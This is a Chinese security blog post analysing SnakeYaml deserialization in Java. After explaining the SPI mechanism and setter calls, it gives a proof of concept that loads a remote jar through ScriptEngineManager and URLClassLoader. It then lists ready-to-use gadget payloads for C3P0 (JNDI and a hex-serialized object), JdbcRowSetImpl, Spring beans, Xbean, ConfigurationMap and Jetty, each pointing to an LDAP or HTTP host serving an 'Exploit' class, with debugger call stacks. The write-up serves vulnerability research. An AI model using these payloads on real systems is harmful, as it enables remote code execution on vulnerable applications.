• SnakeYaml反序列化分析


    前言

    SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。yaml真是到哪都有啊。

    环境搭建

    <dependency>
      <groupId>org.yamlgroupId>
      <artifactId>snakeyamlartifactId>
      <version>1.32version>
    dependency>
    

    SPI机制

    介绍

    SPI机制就是,服务端提供接口类和寻找服务的功能,客户端用户这边根据服务端提供的接口类来定义具体的实现类,然后服务端会在加载该实现类的时候去寻找该服务即META-INF/services/目录里的配置文件中指定的类。这就是SPI和传统的API的区别,API是服务端自己提供接口类并自己实现相应的类供客户端进行调用,而SPI则是提供接口类和服务寻找功能、具体的实现类由客户端实现并调用。

    例子

    准备一个接口

    package com.ctf.Impl;
    
    public interface Shopping {
        String buyMask();
    }
    

    准备两个实现类

    package com.ctf;
    
    import com.ctf.Impl.Shopping;
    
    public class BuyN95 implements Shopping {
        @Override
        public String buyMask() {
            return "Buy N95";
        }
    }
    
    package com.ctf;
    
    import com.ctf.Impl.Shopping;
    
    public class BuyNormal implements Shopping {
        @Override
        public String buyMask() {
            return "Buy Normal";
        }
    }
    

    在resources目录下新建目录META-INF/services,在services目录下建一个配置文件,配置文件名为接口类的路径+名称,比如我的就是com.ctf.Impl.Shopping,写入两个实现类路径

    然后把项目打包成jar包,File >> Project Structure >> Artifacts >> + >> JAR >> From modules with dependencies,记得选择把META-INF添加,Build Artifacts

    out目录下有jar包,这时新建一个项目,把生成的jar包作为依赖导入

    我们可以把上面生成的jar包理解为客户端用户根据SPI接口自己定义了一套实现并打包成jar,然后下面写入的测试代码,就是服务端的代码,服务端引入了jar包和其中的META-INF/services下的配置文件,通过ServiceLoader.load执行了相关操作。

    Setter

    准备一个POJO

    package com.ctf.POJO;
    
    public class User {
    
        String name;
        int age;
    
        public User() {
            System.out.println("User构造函数");
        }
    
        public String getName() {
            System.out.println("User.getName");
            return name;
        }
    
        public void setName(String name) {
            System.out.println("User.setName");
            this.name = name;
        }
    
        public int getAge() {
            System.out.println("User.getAge");
            return age;
        }
    
        public void setAge(int age) {
            System.out.println("User.setAge");
            this.age = age;
        }
    }
    

    序列化流程

    package com.ctf;
    
    import com.ctf.POJO.User;
    import org.yaml.snakeyaml.Yaml;
    
    public class SetterPoc {
        public static void main(String[] args) {
            User user = new User();
            user.setName("F12");
            user.setAge(20);
            String str = serialize(user);
            System.out.println(str);
        }
        public static String serialize(Object obj){
            Yaml yaml = new Yaml();
            return yaml.dump(obj);
        }
        public static String unserialize(String str){
            Yaml yaml = new Yaml();
            return yaml.load(str);
        }
    }
    

    getter和setter都调用了

    反序列化流程

    package com.ctf;
    
    import com.ctf.POJO.User;
    import org.yaml.snakeyaml.Yaml;
    
    public class SetterPoc {
        public static void main(String[] args) {
            User user = new User();
            user.setName("F12");
            user.setAge(20);
            //        String str = serialize(user);
            //        System.out.println(str);
            unserialize("!!com.ctf.POJO.User {age: 20, name: F12}");
        }
        public static String serialize(Object obj){
            Yaml yaml = new Yaml();
            return yaml.dump(obj);
        }
        public static String unserialize(String str){
            Yaml yaml = new Yaml();
            return yaml.load(str);
        }
    }
    

    只调用了setter

    SnakeYaml反序列化漏洞

    影响版本:1.33以下的全版本

    攻击测试

    github有个写好的SPI:https://github.com/artsploit/yaml-payload/tree/master,打包成jar包就行

    package com.ctf;
    
    import org.yaml.snakeyaml.Yaml;
    
    public class POC {
        public static void main(String[] args) {
            String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://localhost:8000/yaml-payload.jar\"]]]]";
            Yaml yaml = new Yaml();
            yaml.load(poc);
        }
    }
    

    流程分析

    load处打断点,跟进

    跟进loadFromReader

    跟进getSingleData

    这里对tag进行了修改,变为一种yaml规范的格式,这个是个重点,先记住,跟进constructDocument方法


    跟进constructObject方法

    跟进check

    可以看出是要准备实例化了,进入constructor.construct

    继续跟进construct,代码有点多,看重点代码

    for (Node argumentNode : snode.getValue()) {
        Class type = c.getParameterTypes()[index];
        // set runtime classes for arguments
        argumentNode.setType(type);
        argumentList[index++] = constructObject(argumentNode);
    }
    

    这里value有一个嵌套,他会一层层的往里去实例化,最后分别作为各自的参数,比如UrlClassLoader是ScriptEngine的参数,Url是UrlCLassLoader的参数。然后实例化的顺序是从URL->URLCLASSLOADER->ScriptEngine顺序去实例化的

    最后会实例化

    因为有个迭代,迭代完才能到这里实例化,所以我们直接在ScriptEngineManage的实例化方法给断点

    跟进init方法

    跟进initEngines方法

    这里调用ServiceLoader

    这里就会去加载用户自定义的实现类,也就会触发我们写的恶意类

    男男搭配,干活不累

    干活不累,但是调试很累,所以师傅们自己调试吧,就不写上面了

    SnakeYaml+C3P0

    之前研究过C3P0,有两条链,不出网的是HEX,出网的是JNDI,放payload

    JNDI(对应setJndiName)

    !!com.mchange.v2.c3p0.JndiRefForwardingDataSource
      jndiName: "ldap://localhost:1099/Exploit"
      loginTimeout: 0
    

    HEX(对应实例化方法)

    !!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
      userOverridesAsString: "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383030302f740003466f6f;"
    

    SnakeYaml+JdbcRowSetImpl

    !!com.sun.rowset.JdbcRowSetImpl
      dataSourceName: "ldap://localhost:1389/Exploit"
      autoCommit: true
    

    SnakeYaml+PropertyPathFactoryBean

    !!org.springframework.beans.factory.config.PropertyPathFactoryBean
      targetBeanName: "ldap://localhost:1389/Exploit"
      propertyPath: mi1k7ea
      beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
                     shareableResources: ["ldap://localhost:1389/Exploit"]
    

    调用栈

    lookup:92, JndiLocatorSupport (org.springframework.jndi)
    doGetSingleton:220, SimpleJndiBeanFactory (org.springframework.jndi.support)
    getBean:113, SimpleJndiBeanFactory (org.springframework.jndi.support)
    getBean:106, SimpleJndiBeanFactory (org.springframework.jndi.support)
    setBeanFactory:196, PropertyPathFactoryBean (org.springframework.beans.factory.config)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:62, NativeMethodAccessorImpl (sun.reflect)
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:497, Method (java.lang.reflect)
    set:77, MethodProperty (org.yaml.snakeyaml.introspector)
    constructJavaBean2ndStep:263, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
    construct:149, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
    construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
    constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
    constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
    constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
    getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
    loadFromReader:525, Yaml (org.yaml.snakeyaml)
    load:453, Yaml (org.yaml.snakeyaml)
    

    SnakeYaml+DefaultBeanFactoryPointcutAdvisor

    !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
      adviceBeanName: "ldap://localhost:1389/Exploit"
      beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
                     shareableResources: ["ldap://localhost:1389/Exploit"]
    

    SnakeYaml+Xbean

    !!javax.management.BadAttributeValueExpException[!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ["foo",!!javax.naming.Reference [foo, "Exploit", "http://localhost:8000/"],!!org.apache.xbean.naming.context.WritableContext []]]
    

    这个使用BadAttibute的构造方法触发Xbean的toString

    SnakeYaml+ConfigurationMap

    !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], "ldap://127.0.0.1:9999/Evil"]]
    

    调用栈:

    getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
    getObjectInstance:189, DirectoryManager (javax.naming.spi)
    c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
    p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
    lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
    lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
    lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
    lookup:417, InitialContext (javax.naming)
    getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration)
    getKeys:203, JNDIConfiguration (org.apache.commons.configuration)
    getKeys:182, JNDIConfiguration (org.apache.commons.configuration)
    :161, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
    :154, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
    iterator:207, ConfigurationMap$ConfigurationSet (org.apache.commons.configuration)
    hashCode:528, AbstractMap (java.util)
    constructMapping2ndStep:366, BaseConstructor (org.yaml.snakeyaml.constructor)
    constructMapping2ndStep:147, SafeConstructor (org.yaml.snakeyaml.constructor)
    constructMapping:354, BaseConstructor (org.yaml.snakeyaml.constructor)
    construct:489, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor)
    constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor)
    constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor)
    getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor)
    loadFromReader:450, Yaml (org.yaml.snakeyaml)
    load:369, Yaml (org.yaml.snakeyaml)
    

    SnakeYaml+Jetty

    [!!org.eclipse.jetty.plus.jndi.Resource ["__/obj", !!javax.naming.Reference ["foo", "Exploit", "http://localhost:8000/"]], !!org.eclipse.jetty.plus.jndi.Resource ["obj/test", !!java.lang.Object []]]
    
    :2, Exploit
    newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
    newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
    newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
    newInstance:422, Constructor (java.lang.reflect)
    newInstance:442, Class (java.lang)
    getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
    getObjectInstance:319, NamingManager (javax.naming.spi)
    lookup:503, NamingContext (org.eclipse.jetty.jndi)
    lookup:578, NamingContext (org.eclipse.jetty.jndi)
    bind:69, NamingUtil (org.eclipse.jetty.jndi)
    save:202, NamingEntry (org.eclipse.jetty.plus.jndi)
    :39, Resource (org.eclipse.jetty.plus.jndi)
    newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
    newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
    newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
    newInstance:422, Constructor (java.lang.reflect)
    construct:548, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
    construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
    constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
    constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
    constructSequenceStep2:376, BaseConstructor (org.yaml.snakeyaml.constructor)
    constructSequence:360, BaseConstructor (org.yaml.snakeyaml.constructor)
    construct:499, SafeConstructor$ConstructYamlSeq (org.yaml.snakeyaml.constructor)
    constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
    constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
    constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
    getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
    loadFromReader:525, Yaml (org.yaml.snakeyaml)
    load:453, Yaml (org.yaml.snakeyaml)
    

    __EOF__

  • 本文作者: F12
  • 本文链接: https://www.cnblogs.com/f12-blog/p/18151239
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    动态代理原理和设计模式详解
    基于 Thingsboard 定制开发,国产化企业级、低代码 AIoT 物联网平台
    Qlik Sense 多表串联详解(Concatenate、NoConcatenate)
    GO中的文件操作
    Redis的String常用命令
    Java微信小程序奶茶在线预定点单系统 uniapp小程序
    Day117.尚医通:生成挂号订单模块
    无序链表的归并排序 - Java代码纯享版
    若依分离版 后端自定义分页
    docker安装部署nginx
  • 原文地址:https://www.cnblogs.com/F12-blog/p/18151239